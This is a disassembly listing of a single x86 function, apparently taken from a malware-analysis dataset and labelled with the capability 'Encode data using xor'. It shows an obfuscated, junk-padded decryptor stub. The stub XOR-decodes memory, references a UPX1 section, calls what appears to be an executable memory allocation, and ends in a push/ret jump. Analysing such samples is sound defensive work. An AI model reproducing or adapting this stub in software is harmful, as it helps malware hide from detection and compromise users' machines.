Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xa7888d75
sub edi, esi
not esi
mov edi, esi
popal
add edi, 0x67f88da6
add esi, edi
mov edx, 0
mov ebx, ecx
sub esi, edi
dec edi
mov eax, ebx
mov esi, edi
mov esi, edi
sub esi, 0x319877d
mov ecx, eax
add esi, 0xf55b3287
sub edi, esi
not edi
inc edx
sub edi, 0xbe8b224f
mov esi, edi
add esi, 0x4f480f57
cmp edx, 0x100194a
jne 0x47afd2
not edi
sub edi, 0xe6c0df92
add esi, edi
cmp edx, 0x100194a
je 0x47b023
mov edx, 0
mov dword [edx], ebx
sub esi, edi
sub edi, esi
dec esi
add edi, esi
mov esi, edi
mov ecx, 0x47ada2
mov edx, 0xcb913300
mov esi, edx
mov ebx, 0x47af96
sub edx, 0x7c2b0de1
mov edx, 0xb120269b
mov edi, dword [ecx]
add esi, esi
sub edx, eax
sub eax, 0xeb12da6e
and edi, 0xff
mov edx, esi
mov edx, esi
inc edx
xor dword [ebx], edi
mov esi, 0x80aab2bd
sub edx, 0xd66b7382
add eax, 0xd2ea7bd0
add ebx, 1
add esi, eax
sub esi, edx
inc ecx
dec edx
sub eax, esi
add edx, 0x7de667d5
cmp ebx, entry0
jl 0x47b048
sub esi, 0xbb142d19
not edx
dec esi
and esi, eax
dec edx
add ecx, 0xb2c4b733
add ecx, 0xa691a509
or esi, ebx
mov edx, 0x47af9a
add esi, esi
not edi
mov edx, dword [edx]
sub esi, 0x564313f8
or ecx, ecx
mov edx, dword [edx]
sub ebx, esi
mov esi, ecx
and esi, esi
push edx
or edi, ecx
dec ecx
and ebx, ecx
mov edx, 0x47af96
add ebx, 0x95df329b
sub ebx, 0x4cb09608
mov edx, dword [edx]
sub ebx, 0xbbf7efc4
add ebx, edi
mov edx, dword [edx]
mov ecx, ebx
dec ebx
not edi
sub esp, 4
mov dword [esp], 0x47af9e
or ecx, ecx
and ebx, ecx
mov esi, ebx
call edx
mov esi, 0xb25b7df3
add edi, esi
inc esi
pop edx
add esi, 0xbdf25fe6
or edi, edi
push 0x47afab
or edi, edi
mov esi, 0x17864a7a
push eax
mov edi, ebx
add edi, 1
sub edi, 0x561c9f3
call edx
add edi, edi
mov ecx, 0x447fa12e
sub ecx, 0x472e2c0c
push 0x40
add ebx, 0x38076959
add ebx, 0xc14b6136
sub esp, 4
mov dword [esp], 0x3000
and ebx, esi
add edi, 0x7304f24a
sub esp, 4
mov dword [esp], 0x20000876
mov edi, 0x196d5056
add edi, ecx
inc esi
push 0
add ecx, ecx
add ebx, edi
call eax
mov ebx, esi
sub ecx, ebx
and ecx, ecx
add eax, 0x200007bb
mov edi, esi
sub ecx, 0xb84cb696
mov edx, 0x9a0e057d
add ecx, 0x912fc473
sub ebx, edi
mov dword [eax], edx
mov edi, ebx
or esi, ebx
mov edi, 0x1e1f18f2
mov edx, dword [eax]
and ecx, ebx
sub ecx, 0x5775c7d3
sub ecx, edi
cmp edx, 0x9a0e057d
je 0x47b1c3
mov ecx, 0
mov ebx, dword [ecx]
add esi, 0x89f28dd1
mov edi, ebx
add esi, ebx
mov edi, 0x5e0fd9b9
add esi, 0x11015c12
and esi, esi
mov edi, 0x9c97e739
mov ebx, section.UPX1
or esi, esi
sub esi, 0x7612c30d
mov ecx, 0x47ada1
add esi, 1
dec esi
mov eax, 0
and esi, esi
sub esi, edi
sub esi, edi
mov edx, 0x47ada2
dec edi
add esi, 1
lea edx, [edx + eax]
add edi, esi
sub edi, 0x283b55dd
mov edx, dword [edx]
add edi, edi
add esi, 0xa327faaf
mov edi, esi
and edx, 0xff
add edi, 0xfb5c9e36
mov edi, esi
and esi, edi
inc eax
sub edi, esi
dec esi
dec esi
cmp eax, 0x1f4
jne 0x47b248
mov eax, 0
add esi, 0x43fdee5f
and edi, esi
sub esi, 1
sub edi, esi
xor dword [ebx], edx
mov edi, esi
mov edi, 0x14cbce02
sub esi, 0x502d2d2f
add ebx, 2
and edi, edi
or edi, edi
mov esi, 0xb12ea3b5
cmp ebx, ecx
jl 0x47b203
sub edi, 0x145d7864
sub esi, 0x4423a1ac
mov esi, edi
add esi, 0xf203ca9d
mov edi, esi
mov esi, section.UPX1
add eax, eax
and edi, eax
or edi, eax
mov ebx, section.UPX1
and edi, eax
add edi, edi
mov edx, 0x47ada1
and eax, edi
mov edi, 0x4c89ef23
mov ecx, 0
sub edi, eax
sub edi, 0x67fb5252
inc edi
mov cl, byte [ebx]
add edi, 0xcb32742d
add eax, eax
mov eax, edi
mov byte [esi], cl
or edi, edi
mov edi, eax
add esi, 1
sub edi, 1
mov eax, 0x54164897
add ebx, 2
or eax, eax
add edi, 1
cmp ebx, edx
jle 0x47b2c2
add eax, edi
sub edi, 1
mov eax, edi
and edi, edi
not edi
mov esi, 0x1846f910
push 0x45e6a0
mov esi, edi
dec edi
ret